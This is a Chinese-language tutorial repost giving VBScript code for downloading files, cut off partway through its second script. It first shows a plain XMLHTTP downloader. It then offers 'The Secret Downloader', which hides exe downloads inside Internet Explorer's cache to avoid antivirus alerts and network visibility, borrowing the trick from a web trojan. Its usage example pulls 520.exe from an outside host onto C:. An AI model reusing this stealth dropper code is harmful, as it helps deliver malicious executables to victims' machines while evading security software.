使用vbs下载文件的代码加强版
2019-10-26 18:00:27
供稿：网友
说到使用vbs下载文件是不是想到了XMLHTTP呢，呵呵，以下是比较经典的代码：
iLocal=LCase(Wscript.Arguments(1))
iRemote=LCase(Wscript.Arguments(0))
Set xPost=createObject("Microsoft.XMLHTTP")
xPost.Open "GET",iRemote,0
xPost.Send()
set sGet=createObject("ADODB.Stream")
sGet.Mode=3
sGet.Type=1
sGet.Open()
sGet.Write xPost.ResponseBody
sGet.SaveToFile iLocal,2
当你把这段代码保存为vbs的时候，杀毒软件可能就开始报警了；而且使用中cscript.exe会访问网络，不太隐蔽。
那么，有没有更好的方法呢？答案很明显:-)
我们可以利用一个叫InternetExplorer.Application的对象（其实就是个IE啦）下载文件。但是貌似这个组件不能直接下载保存文件，只好曲线救国了。因为IE是把文件下载到本地缓存的，我们可以让IE组件先把文件下载到缓存，然后再从缓存找到并copy至我们需要保存的位置。其实这个思路是从一个网马看到的：）
为了让IE把我们的exe文件下载到本地缓存，我们需要有一个网页把exe文件包含进去。比如：<script src="520.exe"></script>。这样当IE访问该页面的时候就会把520.exe当成js脚本保存到本地缓存了。保存的命名一般是520[1].exe，IE临时文件的位置可以从注册表键值 HKLM/Software/Microsoft/Windows/CurrentVersion/Internet Settings/Cache/paths/Directory 中读取。
好了，不废话，看代码：
'=============================
' get.vbs
' by lake2
'=============================
If WScript.Arguments.Count <> 3 Then
WScript.Echo ""
WScript.Echo "======= The Secret Downloader 0.1 ================"
WScript.Echo " by lake2 "
WScript.Echo "Usage: CScript /nologo" & WScript.ScriptName & " [URL] [RemoteName] [LocalFile]"
WScript.Echo "Example: CScript /nologo" & WScript.ScriptName & " http://www.0x54.org/lake.htm 520.exe c:/520.exe"
WScript.Echo "=================================================="
WScript.Quit
End If
URL = WScript.Arguments(0)
exeName = WScript.Arguments(1)
If InStr(exeName, ".") > 0 Then
tmp = Left(exeName,InStrRev(exeName, ".")-1)
tmp2 = Right(exeName,Len(exeName) - InStrRev(exeName, ".") + 1)
FindFileName = tmp & "[1]" & tmp2
End If
LocalName = WScript.Arguments(2)
set ie=wscript.createobject("internetexplorer.application")
